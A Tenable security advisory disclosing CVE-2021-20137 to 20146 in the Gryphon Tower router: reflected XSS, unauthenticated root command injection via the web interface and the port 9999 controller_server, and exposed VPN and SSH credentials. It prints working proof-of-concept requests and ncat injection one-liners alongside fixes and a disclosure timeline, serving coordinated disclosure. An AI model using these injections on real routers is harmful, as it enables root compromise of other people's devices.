Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Multiple Vulnerabilities in Gryphon Tower Router

Critical

Synopsis

Researchers at Tenable discovered multiple vulnerabilities in the Gryphon Tower router running the latest publicly available firmware ( 04.0004.12, despite listing of 04.0004.80 on their software release update page), which when combined could lead to unauthenticated remote command injection as root on unsuspecting user devices.

CVE-2021-20137 - Reflected Cross-Site Scripting in web interface via /cgi-bin/luci/site_access/

CVSSv3 Base Score: 4.3

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

A reflected cross-site scripting vulnerability exists in the url parameter of the /cgi-bin/luci/site_access/ page on the Gryphon Tower router's web interface. An attacker could exploit this issue by tricking a user into following a specially crafted link, granting the attacker javascript execution in the context of the victim's browser.

Proof of Concept:

Visiting the following link in a browser, substituting the <device-ip> with the Gryphon device’s IP address, will trigger the reflected cross-site scripting vulnerability.

http://<device-ip>/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1

CVE-2021-20138 - Unauthenticated command injection in Gryphon web interface via /cgi-bin/luci/rc

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in multiple parameters in the Gryphon Tower router’s web interface at /cgi-bin/luci/rc. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the web interface.

The issue occurs in /usr/lib/lua/luci/controller/admin/index.lua in the config_repeater() function. Each parameter passed via a POST request to the aforementioned url is concatenated, unsanitized,  to a string which is run via a call to os.execute(). As a result, each parameter could be injected with various forms of bash command substitution (i.e. with $(some_command) or `some_command`) which will execute the commands as the root user.

Proof of Concept:

**please note: this proof of concept will alter device settings in a way which may interrupt normal communications with the device (as the settings entered into each parameter are saved to the device configuration).

The following request will write the result of the id command to the file /tmp/lua-injection.

POST /cgi-bin/luci/rc HTTP/1.1
Host: 192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 166

ssid=`id>/tmp/lua-injection`&gssid=test&mkey=test&mssid=test&key5=test&ssid5=test&hidden=test&key=test&wpa=test&board=test&Router=test&country=test&ghidden=test&gkey=test

This can be confirmed by running the cat command on /tmp/lua-injection after sending the example request above:

/tmp # cat /tmp/lua-injection
cat /tmp/lua-injection
uid=0(root) gid=0(root)

Multiple unauthenticated command injections in the controller_server service

The controller_server service running on port 9999 of the Gryphon router has a number of operations which are vulnerable to command injection, which could allow an unauthenticated attacker to execute commands as the root user on the device. We consider each of these injections an individual vulnerability, but are grouping them for clarity.

The issues exist because the functions associated with each operation number pass user input unsanitized to strings which are in turn passed in calls to system(), allowing an attacker to achieve command injection.

For example operation 0x29 ( 41 in decimal) runs the following command: /sbin/uci set wireless.%s where %s is the cmd parameter sent to controller_server. An attacker can inject this by passing a parameter of “;id>/tmp/op41” which will write the results of the id command to the /tmp/op41 file.

Please note: The the proofs-of-concept for the following issues could alter the configuration of the device and interrupt normal operation.

In the following proofs of concept, we are sending the messages in the following format, requiring the ncat tool:

echo '<payload>' | ncat --ssl <device-ip> 9999

CVE-2021-20139 - Unauthenticated command injection in operation 3 in controller_server

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in the parameters of operation 3 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

The following payload will create the file /tmp/op3 containing the results of the id command.

echo '{"3":{"ipaddr":";id>/tmp/op3"}}' | ncat --ssl <device-ip> 9999

CVE-2021-20140 - Unauthenticated command injection in operation 10 in controller_server

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in the parameters of operation 10 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

The following payload will create the file /tmp/op10 containing the results of the id command.

echo '{"10":{"macaddr":";id>/tmp/op10", "status":"tenable","version":"tenable"}}' | ncat --ssl <device-ip> 9999

CVE-2021-20141 - Unauthenticated command injection in operation 32 in controller_server

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in the parameters of operation 32 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

For operation 32, we must send two payloads in sequence. Additionally, for this case we are limited to 16 characters of injection, which can still be dangerous but just requires an attacker to be more creative. The following payloads will create the file /tmp/op32 containing the results of the id command.

First:

echo '{"21":"true"}' | ncat --ssl <device-ip> 9999

Second:

{"32":{"channel":";id>/tmp/op32"}}

CVE-2021-20142 - Unauthenticated command injection in operation 41 in controller_server

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in the parameters of operation 41 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

The following payload will create the file /tmp/op41 containing the results of the id command.

echo '{"41":{"cmd":";id>/tmp/op41"}}' | ncat --ssl <device-ip> 9999

CVE-2021-20143 - Unauthenticated command injection in operation 48 in controller_server

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in the parameters of operation 48 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

The following payload will create the file /tmp/op48 containing the results of the id command.

echo '{"48":{"newclient":";id>/tmp/op48"}}' | ncat --ssl <device-ip> 9999

CVE-2021-20144 - Unauthenticated command injection in operation 49 in controller_server

CVSSv3 Base Score: 8.8

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An unauthenticated command injection vulnerability exists in the parameters of operation 49 in the controller_server service on Gryphon Tower routers. An unauthenticated remote attacker on the same network can execute commands as root on the device by sending a specially crafted malicious packet to the controller_server service on port 9999.

Proof of Concept:

The following payload will create the file /tmp/op49 containing the results of the id command.

echo '{"49":{"scaleType":";id>/tmp/op49", "scaleFrequency":1}}' | ncat --ssl <device-ip> 9999

CVE-2021-20145 - Unprotected openvpn configuration/credentials which can lead to adjacent network access to other customers’ devices

CVSSv3 Base Score: 8.6

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Gryphon Tower routers contain an unprotected openvpn configuration file which can grant attackers access to the Gryphon homebound VPN network which exposes the LAN interfaces of other users' devices connected to the same service. An attacker could leverage this to make configuration changes to, or otherwise attack victims' devices as though they were on an adjacent network.

The Gryphon homebound service allows users to connect their mobile devices to the internet via their own home network by connecting the user’s mobile device, and their Gryphon router, to a VPN network. This VPN network appears to be shared amongst all routers and Gryphon customers using the service.

Notably, an attacker connected to this network could leverage this access to attack unsuspecting victims' devices using the other vulnerabilities noted in this advisory as though they were on an adjacent network.

Proof-of-concept:

An attacker can retrieve the ovpn configuration file from the Gryphon Router, and connect to the VPN network by running:

openvpn homebound-client.ovpn

The attacker will then be able to view other Gryphon devices connected with ports exposed as though they were on the victim devices' LAN. 

CVE-2021-20146 - Unprotected ssh private key which can lead to root access to developer server

CVSSv3 Base Score: 7.5

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

An unprotected ssh private key exists on the Gryphon devices which could be used to achieve root access to a server affiliated with Gryphon's development and infrastructure. At the time of discovery, the ssh key could be used to login to the development server hosted in Amazon Web Services.

Solution

Gryphon Tower and Guardian Devices:

  • Issues fixed in version 4.0008.19
  • Firmware versions >= 6.0001.62 contain all security fixes

Gryphon AX: 

  •  Firmware versions >= 02.06.0003.94 have all the security fixes

Please contact Gryphon for more information.

Disclosure Timeline

August 30, 2021 - Tenable requests a security contact
August 31, 2021 - Gryphon responds, informing Tenable the request has been forwarded to management for consideration.
September 1, 2021 - Gryphon closes ticket
September 7, 2021 - Tenable reaches out again to ask for a security contact for disclosure
September 7, 2021 - Gryphon responds that the request have been forward, but ticket was closed as spam
September 7, 2021 - Tenable reports vulnerabilities to Gryphon
September 8, 2021 - Gryphon confirms vulnerabilities are being evaluated
October 25, 2021 - Tenable inquires whether there have been any updates
October 25, 2021 - Gryphon provides Tenable an unreleased firmware update with fixes for evaluation
November 4, 2021 - Tenable informs Gryphon that multiple vulnerabilities are still present
November 11, 2021 - Gryphon confirms

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID
TRA-2021-51
Credit

Evan Grant

Katie Sexton

Affected Products
Gryphon Tower Router
Risk Factor
Critical

Advisory Timeline

December 7, 2021 - Initial Release
April 8, 2022 - Advisory updated with fixed releases
tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable.io Vulnerability Management trial also includes Tenable Lumin, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable.io Vulnerability Management trial also includes Tenable Lumin, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

Tenable.io BUY

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now

Try Tenable.io Web Application Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web Application Scanning trial also includes Tenable.io Vulnerability Management, Tenable Lumin and Tenable.cs Cloud Security.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable.io Container Security

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Try Tenable Lumin

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable.io Vulnerability Management, Tenable.io Web Application Scanning and Tenable.cs Cloud Security.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable.cs

Enjoy full access to detect and fix cloud infrastructure misconfigurations and view runtime vulnerabilities. Sign up for your free trial now.

Your Tenable.cs Cloud Security trial also includes Tenable.io Vulnerability Management, Tenable Lumin and Tenable.io Web Application Scanning.

Contact a Sales Rep to Buy Tenable.cs

Contact a Sales Representative to learn more about Tenable.cs Cloud Security and see how easy it is to onboard your cloud accounts and get visibility into both cloud misconfigurations and vulnerabilities within minutes.

Try Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Promotional pricing extended until December 31st.
Buy a multi-year license and save more.

Add Support and Training